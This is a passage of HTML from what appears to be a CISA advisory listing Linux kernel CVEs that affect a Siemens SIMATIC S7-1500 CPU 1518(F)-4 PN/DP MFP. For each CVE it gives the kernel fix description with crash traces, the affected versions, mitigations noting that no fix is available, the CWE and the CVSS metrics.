<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39826</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh-&gt;use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39826">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39827</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh-&gt;use when rose_neigh-&gt;count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39827">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39845</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/mm/64: define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() Define ARCH_PAGE_TABLE_SYNC_MASK and arch_sync_kernel_mappings() to ensure page tables are properly synchronized when calling p*d_populate_kernel(). For 5-level paging, synchronization is performed via pgd_populate_kernel(). In 4-level paging, pgd_populate() is a no-op, so synchronization is instead performed at the P4D level via p4d_populate_kernel(). This fixes intermittent boot failures on systems using 4-level paging and a large amount of persistent memory: BUG: unable to handle page fault for address: ffffe70000000034 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: 0002 [#1] SMP NOPTI RIP: 0010:__init_single_page+0x9/0x6d Call Trace: __init_zone_device_page+0x17/0x5d memmap_init_zone_device+0x154/0x1bb pagemap_range+0x2e0/0x40f memremap_pages+0x10b/0x2f0 devm_memremap_pages+0x1e/0x60 dev_dax_probe+0xce/0x2ec [device_dax] dax_bus_probe+0x6d/0xc9 [... snip ...] It also fixes a crash in vmemmap_set_pmd() caused by accessing vmemmap before sync_global_pgds() [1]: BUG: unable to handle page fault for address: ffffeb3ff1200000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 0 P4D 0 Oops: Oops: 0002 [#1] PREEMPT SMP NOPTI Tainted: [W]=WARN RIP: 0010:vmemmap_set_pmd+0xff/0x230 vmemmap_populate_hugepages+0x176/0x180 vmemmap_populate+0x34/0x80 __populate_section_memmap+0x41/0x90 sparse_add_section+0x121/0x3e0 __add_pages+0xba/0x150 add_pages+0x1d/0x70 memremap_pages+0x3dc/0x810 devm_memremap_pages+0x1c/0x60 xe_devm_add+0x8b/0x100 [xe] xe_tile_init_noalloc+0x6a/0x70 [xe] xe_device_probe+0x48c/0x740 [xe] [... snip ...]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39845">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39866</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&amp;inode-&gt;i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode-&gt;i_wb spin_unlock(&amp;inode-&gt;i_lock); spin_lock(&amp;wb-&gt;list_lock) spin_lock(&amp;inode-&gt;i_lock) inode_io_list_move_locked spin_unlock(&amp;wb-&gt;list_lock) spin_unlock(&amp;inode-&gt;i_lock) spin_lock(&amp;old_wb-&gt;list_lock) inode_do_switch_wbs spin_lock(&amp;inode-&gt;i_lock) inode-&gt;i_wb = new_wb spin_unlock(&amp;inode-&gt;i_lock) spin_unlock(&amp;old_wb-&gt;list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39866">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39871</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: idxd: Remove improper idxd_free The call to idxd_free() introduces a duplicate put_device() leading to a reference count underflow: refcount_t: underflow; use-after-free. WARNING: CPU: 15 PID: 4428 at lib/refcount.c:28 refcount_warn_saturate+0xbe/0x110 ... Call Trace: idxd_remove+0xe4/0x120 [idxd] pci_device_remove+0x3f/0xb0 device_release_driver_internal+0x197/0x200 driver_detach+0x48/0x90 bus_remove_driver+0x74/0xf0 pci_unregister_driver+0x2e/0xb0 idxd_exit_module+0x34/0x7a0 [idxd] __do_sys_delete_module.constprop.0+0x183/0x280 do_syscall_64+0x54/0xd70 entry_SYSCALL_64_after_hwframe+0x76/0x7e The idxd_unregister_devices() which is invoked at the very beginning of idxd_remove(), already takes care of the necessary put_device() through the following call path: idxd_unregister_devices() -&gt; device_unregister() -&gt; put_device() In addition, when CONFIG_DEBUG_KOBJECT_RELEASE is enabled, put_device() may trigger asynchronous cleanup via schedule_delayed_work(). If idxd_free() is called immediately after, it can result in a use-after-free. Remove the improper idxd_free() to avoid both the refcount underflow and potential memory corruption during module unload.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39871">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39931</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Set merge to zero early in af_alg_sendmsg If an error causes af_alg_sendmsg to abort, ctx-&gt;merge may contain a garbage value from the previous loop. This may then trigger a crash on the next entry into af_alg_sendmsg when it attempts to do a merge that can't be done. Fix this by setting ctx-&gt;merge to zero near the start of the loop.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39931">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/457.html">CWE-457 Use of Uninitialized Variable</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39953</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: cgroup: split cgroup_destroy_wq into 3 workqueues A hung task can occur during [1] LTP cgroup testing when repeatedly mounting/unmounting perf_event and net_prio controllers with systemd.unified_cgroup_hierarchy=1. The hang manifests in cgroup_lock_and_drain_offline() during root destruction. Related case: cgroup_fj_function_perf_event cgroup_fj_function.sh perf_event cgroup_fj_function_net_prio cgroup_fj_function.sh net_prio Call Trace: cgroup_lock_and_drain_offline+0x14c/0x1e8 cgroup_destroy_root+0x3c/0x2c0 css_free_rwork_fn+0x248/0x338 process_one_work+0x16c/0x3b8 worker_thread+0x22c/0x3b0 kthread+0xec/0x100 ret_from_fork+0x10/0x20 Root Cause: CPU0 CPU1 mount perf_event umount net_prio cgroup1_get_tree cgroup_kill_sb rebind_subsystems // root destruction enqueues // cgroup_destroy_wq // kill all perf_event css // one perf_event css A is dying // css A offline enqueues cgroup_destroy_wq // root destruction will be executed first css_free_rwork_fn cgroup_destroy_root cgroup_lock_and_drain_offline // some perf descendants are dying // cgroup_destroy_wq max_active = 1 // waiting for css A to die Problem scenario: 1. CPU0 mounts perf_event (rebind_subsystems) 2. CPU1 unmounts net_prio (cgroup_kill_sb), queuing root destruction work 3. A dying perf_event CSS gets queued for offline after root destruction 4. Root destruction waits for offline completion, but offline work is blocked behind root destruction in cgroup_destroy_wq (max_active=1) Solution: Split cgroup_destroy_wq into three dedicated workqueues: cgroup_offline_wq – Handles CSS offline operations cgroup_release_wq – Manages resource release cgroup_free_wq – Performs final memory deallocation This separation eliminates blocking in the CSS free path while waiting for offline operations to complete. [1] https://github.com/linux-test-project/ltp/blob/master/runtest/controllers</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39953">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39955</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tcp: Clear tcp_sk(sk)-&gt;fastopen_rsk in tcp_disconnect(). syzbot reported the splat below where a socket had tcp_sk(sk)-&gt;fastopen_rsk in the TCP_ESTABLISHED state. [0] syzbot reused the server-side TCP Fast Open socket as a new client before the TFO socket completes 3WHS: 1. accept() 2. connect(AF_UNSPEC) 3. connect() to another destination As of accept(), sk-&gt;sk_state is TCP_SYN_RECV, and tcp_disconnect() changes it to TCP_CLOSE and makes connect() possible, which restarts timers. Since tcp_disconnect() forgot to clear tcp_sk(sk)-&gt;fastopen_rsk, the retransmit timer triggered the warning and the intended packet was not retransmitted. Let's call reqsk_fastopen_remove() in tcp_disconnect(). [0]: WARNING: CPU: 2 PID: 0 at net/ipv4/tcp_timer.c:542 tcp_retransmit_timer (net/ipv4/tcp_timer.c:542 (discriminator 7)) Modules linked in: CPU: 2 UID: 0 PID: 0 Comm: swapper/2 Not tainted 6.17.0-rc5-g201825fb4278 #62 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:tcp_retransmit_timer (net/ipv4/tcp_timer.c:542 (discriminator 7)) Code: 41 55 41 54 55 53 48 8b af b8 08 00 00 48 89 fb 48 85 ed 0f 84 55 01 00 00 0f b6 47 12 3c 03 74 0c 0f b6 47 12 3c 04 74 04 90 &lt;0f&gt; 0b 90 48 8b 85 c0 00 00 00 48 89 ef 48 8b 40 30 e8 6a 4f 06 3e RSP: 0018:ffffc900002f8d40 EFLAGS: 00010293 RAX: 0000000000000002 RBX: ffff888106911400 RCX: 0000000000000017 RDX: 0000000002517619 RSI: ffffffff83764080 RDI: ffff888106911400 RBP: ffff888106d5c000 R08: 0000000000000001 R09: ffffc900002f8de8 R10: 00000000000000c2 R11: ffffc900002f8ff8 R12: ffff888106911540 R13: ffff888106911480 R14: ffff888106911840 R15: ffffc900002f8de0 FS: 0000000000000000(0000) GS:ffff88907b768000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f8044d69d90 CR3: 0000000002c30003 CR4: 0000000000370ef0 Call Trace: tcp_write_timer (net/ipv4/tcp_timer.c:738) call_timer_fn (kernel/time/timer.c:1747) __run_timers (kernel/time/timer.c:1799 kernel/time/timer.c:2372) timer_expire_remote (kernel/time/timer.c:2385 kernel/time/timer.c:2376 kernel/time/timer.c:2135) tmigr_handle_remote_up (kernel/time/timer_migration.c:944 kernel/time/timer_migration.c:1035) __walk_groups.isra.0 (kernel/time/timer_migration.c:533 (discriminator 1)) tmigr_handle_remote (kernel/time/timer_migration.c:1096) handle_softirqs (./arch/x86/include/asm/jump_label.h:36 ./include/trace/events/irq.h:142 kernel/softirq.c:580) irq_exit_rcu (kernel/softirq.c:614 kernel/softirq.c:453 kernel/softirq.c:680 kernel/softirq.c:696) sysvec_apic_timer_interrupt (arch/x86/kernel/apic/apic.c:1050 (discriminator 35) arch/x86/kernel/apic/apic.c:1050 (discriminator 35))</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39955">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/213.html">CWE-213 Exposure of Sensitive Information Due to Incompatible Policies</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
